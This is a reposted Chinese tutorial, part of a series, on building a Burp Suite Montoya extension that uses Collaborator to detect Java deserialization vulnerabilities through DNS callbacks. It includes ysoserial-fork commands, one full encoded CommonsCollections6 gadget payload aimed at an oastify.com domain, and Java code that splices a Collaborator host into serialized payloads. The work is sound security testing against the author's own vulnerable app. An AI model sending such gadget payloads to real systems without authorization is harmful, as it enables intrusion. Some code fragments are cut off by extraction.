文章总结: 本文详细介绍了如何在BurpSuite的MontoyaAPI插件中调用Collaborator工具,通过DNS外带交互检测Java反序列化漏洞。文章从手动验证入手,演示了使用ysoserialfork生成DNS解析payload,并利用Collaborator监听交互以确认漏洞存在;随后逐步讲解如何改造插件代码,将基于时间的检测逻辑替换为基于Collaborator的动态DNS检测,包括处理payload中的域名占位符、调用CollaboratorAPI创建客户端及轮询交互结果。 综合评分: 85 文章分类: web安全,渗透测试,安全工具
在Burp插件中玩转Collaborator:检测Java反序列化的实战教程(第七部分)
幻泉之洲
2026年5月12日 15:28 北京
在小说阅读器读本章
去阅读
本文将教你如何在Burp Suite的Montoya API插件中调用Collaborator,实现基于DNS反连的Java反序列化漏洞检测。从手动验证到代码实现,一步步带你搞定。
大家好!
上一期我们写了一个自定义扫描插件,给Burp Scanner加上了主动和被动检测规则。今天咱们改一改那个插件,用它来检测序列化漏洞——不是靠响应时间,而是靠DNS外带交互。Burp Suite里已经有个现成的工具叫Collaborator,专门干这个的。
Collaborator的作用是帮我们发现那些不会在响应里暴露痕迹的漏洞:你往目标应用发一个payload,payload触发后会让目标去访问一个外部服务器,Collaborator就是那个监听外部交互的权威DNS服务。它同时监听HTTP、HTTPS、SMTP、SMTPS这些端口。用的时候只需要生成一个特殊的Collaborator URL,塞进payload里发给目标。如果目标真的去解析或者连接了这个URL,Collaborator就会通知你。这个工具被Burp的主动扫描器内置使用,我们在手动测试时(比如Repeater、Intruder、Proxy)也能直接用。
PortSwigger给所有Burp Professional用户提供了一个公共Collaborator服务器,但你也可以自己搭私服。说实话,用公共服务器有个坑——生成的payload在渗透测试中被成千上万的人用过,目标很可能已经把它们加入了黑名单。
还是老规矩,先搭个测试环境。跟前一篇文章(第六部分)一样,我还是用那个自己开发的Java反序列化测试应用(WAR包),它会把收到的各种编码的反序列化数据直接反序列化。目标应用绑了有漏洞的Apache Commons Collections 3库,这个库里有现成的可序列化对象,反序列化后能执行任意代码。测试应用可以从我的GitHub仓库下载。部署需要Java应用服务器,我用的Tomcat 9配OpenJDK 17。Java版本太旧的话可能跑不起来。
生成漏洞payload还是用ysoserial这个神器,作者是Chris Frohoff(也是第一个发现这个漏洞的研究者)。但ysoserial原本是为利用设计的,payload大多是执行系统命令。为了检测,几年前我写Java Deserialization Scanner插件时还fork了一个ysoserial版本,加了一些检测模块——比如生成payload后让它执行Java原生同步睡眠(上一期用到了),还有生成payload后让它做DNS解析。后者正好配合Collaborator做可靠检测。
在改插件之前,我们先手动验证一下漏洞。
把目标应用的请求丢到Repeater里(第六部分讲过怎么操作):
第六部分说过,ysoserial对Commons Collections 3有5个payload:CommonsCollections1、3、5、6、7。能不能用取决于目标环境和Java版本。我这边CommonsCollections6能正常工作。生成payload前先搞一个Collaborator URL
然后用ysoserial fork生成一个payload,让它在反序列化后对指定URL做DNS解析:
$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 4bg5589heitroj98ttwqau4unltch25r.oastify.com dns base64,url_encoding rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI%2FQAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB%2BAAN4cHZyABRqYXZhLm5ldC5JbmV0QWRkcmVzcy2bV6%2Bf4%2BvbAwADSQAHYWRkcmVzc0kABmZhbWlseUwACGhvc3ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo%2F2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AElsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAJZ2V0QnlOYW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdAAJZ2V0TWV0aG9kdXEAfgAbAAAAAnEAfgAednEAfgAbc3EAfgAUdXEAfgAYAAAAAnVxAH4AGwAAAAFxAH4AHnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5%2Bkde0cCAAB4cAAAAAF0ACw0Ymc1NTg5aGVpdHJvajk4dHR3cWF1NHVubHRjaDI1ci5vYXN0aWZ5LmNvbXQABmludm9rZXVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB%2BABhzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4
ysoserial fork还支持编码。这里选了base64加url编码,为的是在Repeater里直接用。扫描器里只用base64——扫描器自己会根据请求的Content Type处理URL编码,但一般不处理base64编码(第六部分详细解释过)。
把payload发到有漏洞的应用,然后看看有没有DNS交互:
交互收到了,说明目标确实有漏洞。现在就把这套逻辑塞进扫描插件里。
从第六部分的插件代码开始改(建议复制一份)。主要改CustomScanCheck类的activeAudit方法,把基于时间的payload换成基于Collaborator的payload。我把复制的类改名叫CustomCollaboratorScanCheck。
首先用ysoserial fork生成新的DNS payload。但有个问题:我们不知道扫描运行时Collaborator会生成什么域名。不能提前生成固定的payload。解决办法有好几种:直接在插件里调用ysoserial、把ysoserial代码集成进插件、或者用占位符替换法。Java Deserialization Scanner用的就是第三种——先放一个占位符,运行时替换成真正的域名。
但序列化对象是二进制的,不能简单字符串替换。需要修改二进制对象中的长度字段。因为你可能部署自己的Collaborator私服,域名长度不固定。
一步一步来。先生成带占位符”XXXXX”的payload:
$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections1 XXXXX dns base64 rO0ABXNyADJ[…]AAAAAHhwcQB+ADc=
$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections3 XXXXX dns base64 rO0ABXNyADJz[…]AAAAeHBxAH4ALg==
$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections5 XXXXX dns base64 rO0ABXNyAC5q[…]cIAAAAEAAAAAB4eA==
$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 XXXXX dns base64 rO0ABXNyABF[…]BAAAAAAeHh4
$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections7 XXXXX dns base64 rO0ABXNyABNqYXZhL[…]c3EAfgAqAAAAAng=
把这些payload放到StaticItems类里,替换掉之前的time payload:
package org.fd.montoyatutorial;
import burp.api.montoya.scanner.audit.issues.AuditIssueConfidence; import burp.api.montoya.scanner.audit.issues.AuditIssueSeverity;
public class StaticItems {
public static String[] apacheCommonsCollections3Payloads = new String[] {“rO0ABXNy[…]cQB+ADc=”, “rO0ABXNyA[…]eHBxAH4ALg==”, “rO0ABXNyAC5q[…]EAAAAAB4eA==”, “rO0ABXN[…]AABAAAAAAeHh4”, “rO0ABXNy[…]AAng=”}; […] }
现在更新activeAudit方法。先搭个骨架,把需要改的地方标上TODO:
@Override public AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {
List activeAuditIssues = new ArrayList();
for(int i = 0; i interactionList = null;
if(interactionList.size() > 0) {
AuditIssue auditIssue = AuditIssue.auditIssue( StaticItems.apacheCommonsCollections3IssueName, StaticItems.apacheCommonsCollections3IssueDetail, null, baseRequestResponse.request().url(), StaticItems.apacheCommonsCollections3IssueSeverity, StaticItems.apacheCommonsCollections3IssueConfidence, null, null, StaticItems.apacheCommonsCollections3IssueTypicalSeverity, commonsCollectionsCheckRequestResponse); activeAuditIssues.add(auditIssue); } } return AuditResult.auditResult(activeAuditIssues); }
Collaborator的API通过MontoyaApi对象提供。在initialize方法里通过api.collaborator()拿到Collaborator对象。它有三个方法:
- createClient():创建一个新的Collaborator客户端,可以用来生成payload和获取交互。
- restoreClient(SecretKey):恢复之前会话的客户端。以前没有这个功能,插件关闭后交互就丢了。现在可以保存密钥,重启后恢复。
- defaultPayloadGenerator():返回与Collaborator选项卡关联的payload生成器。生成的交互会显示在Collaborator选项卡里,但无法从插件中获取。适合手动测试辅助,而我们扫描插件需要的是createClient。
所以在扫描检查的构造函数里创建并保存一个Collaborator客户端:
CollaboratorClient collaboratorClient;
public CustomCollaboratorScanCheck(MontoyaApi api) { this.api = api; this.utilities = this.api.utilities(); this.collaboratorClient = this.api.collaborator().createClient(); }
在activeAudit里使用这些API。先看CollaboratorClient的文档(PortSwigger官方文档[1]):有两个生成payload的方法(一个只生成URL,一个可带自定义数据),两个获取交互的方法(全部或按payload过滤),以及获取密钥和服务器地址的方法。
具体实现:
public ByteArray createDnsPayload(ByteArray genericPayload, String collaboratorURL) { // 这个函数把占位符XXXXX替换成Collaborator域名,并修正二进制对象中的长度字段 }
@Override public AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {
List activeAuditIssues = new ArrayList();
for(int i = 0; i interactionList = collaboratorClient.getInteractions( InteractionFilter.interactionPayloadFilter(collaboratorUrl));
if(interactionList.size() > 0) { AuditIssue auditIssue = AuditIssue.auditIssue( StaticItems.apacheCommonsCollections3IssueName, StaticItems.apacheCommonsCollections3IssueDetail, null, baseRequestResponse.request().url(), StaticItems.apacheCommonsCollections3IssueSeverity, StaticItems.apacheCommonsCollections3IssueConfidence, null, null, StaticItems.apacheCommonsCollections3IssueTypicalSeverity, commonsCollectionsCheckRequestResponse); activeAuditIssues.add(auditIssue); } } return AuditResult.auditResult(activeAuditIssues); }
注释里标了三个TODO:
- 生成Collaborator payload,拿到完整域名(类似geyuzopwxo3kvogmmsak60oew52wqmeb.oastify.com)。
- 用createDnsPayload替换占位符,修正长度字段,然后base64编码。
- 发送payload并获取交互,用InteractionFilter.interactionPayloadFilter过滤当前payload。
createDnsPayload的实现如下(细节略复杂,直接看代码):
public ByteArray createDnsPayload(ByteArray genericPayload, String collaboratorURL) {
String hostTokenString = “XXXXX”; int indexPlaceholderFirstUrlCharacter = genericPayload.indexOf(hostTokenString, true); int indexPlaceholderLastUrlCharacter = indexPlaceholderFirstUrlCharacter + hostTokenString.length() – 1; int newCollaboratorVectorLength = collaboratorURL.length();
ByteArray payloadPortionBeforeUrl = genericPayload.subArray(0, indexPlaceholderFirstUrlCharacter); ByteArray payloadPortionAfterUrl = genericPayload.subArray(indexPlaceholderLastUrlCharacter+1, genericPayload.length());
payloadPortionBeforeUrl.setByte(payloadPortionBeforeUrl.length()-1, (byte)newCollaboratorVectorLength);
ByteArray payloadWithCollaboratorUrl = payloadPortionBeforeUrl.withAppended(ByteArray.byteArray(collaboratorURL)); payloadWithCollaboratorUrl = payloadWithCollaboratorUrl.withAppended(payloadPortionAfterUrl);
// 当使用TemplateImpl对象时,还要再修正一个长度 ByteArray patternTemplateImplToSearch = ByteArray.byteArray(new byte[]{(byte)0xf8,(byte)0x06,(byte)0x08,(byte)0x54,(byte)0xe0,(byte)0x02,(byte)0x00,(byte)0x00,(byte)0x78,(byte)0x70,(byte)0x00,(byte)0x00,(byte)0x06}); int indexOfPatternTemplateImpl = payloadWithCollaboratorUrl.indexOf(patternTemplateImplToSearch,false); if(indexOfPatternTemplateImpl != -1) payloadWithCollaboratorUrl.setByte(indexOfPatternTemplateImpl+13, (byte)(payloadWithCollaboratorUrl.getByte(indexOfPatternTemplateImpl+13) + (newCollaboratorVectorLength – 5)));
return payloadWithCollaboratorUrl; }
编译打包,加载到Burp(具体步骤参看第一部分)。测试方法跟第六部分一样:把请求发到Intruder,选好插入点,用“Scan defined insertion points”功能,只配扩展扫描:
结果如下:
最后聊两句Collaborator交互的注意事项。我们这个例子是发送payload后马上检查交互——因为如果应用有漏洞,它会反序列化对象、做DNS查询,等DNS响应回来后才返回正常响应,所以我们能立即看到交互。但有些场景下,交互可能延迟到达,比如payload触发后几秒甚至几分钟才发生。这时候需要开一个线程定期轮询,检查所有payload的交互。还可以用getSecretKey保存密钥,下次打开Burp时恢复会话(配合Persistence对象)。PortSwigger官方示例里有个Poller线程可以参考。
注意:不是所有交互都代表目标有漏洞。尤其是很久之后才收到的交互,可能是IDS、IPS、蓝队手工分析、日志分析工具触发的。还有个坑:一些即时通讯工具(比如Microsoft Teams)在粘贴链接时会自动抓取预览,这也会产生交互。所以看到来自微软IP的交互别激动——先跑个WHOIS。
今天就到这里。下一篇我们聊聊BChecks——快速扩展Burp扫描器的一种方式,适合不太复杂的检测规则。
完整的后端和插件代码都可以从我的GitHub仓库下载[2]。
下次见!
参考资料
[1] https://portswigger.github.io/burp-extensions-montoya-api/javadoc/burp/api/montoya/collaborator/CollaboratorClient.html
[2] https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course
[3] https://hnsecurity.it/blog/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《在Burp插件中玩转Collaborator:检测Java反序列化的实战教程(第七部分)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论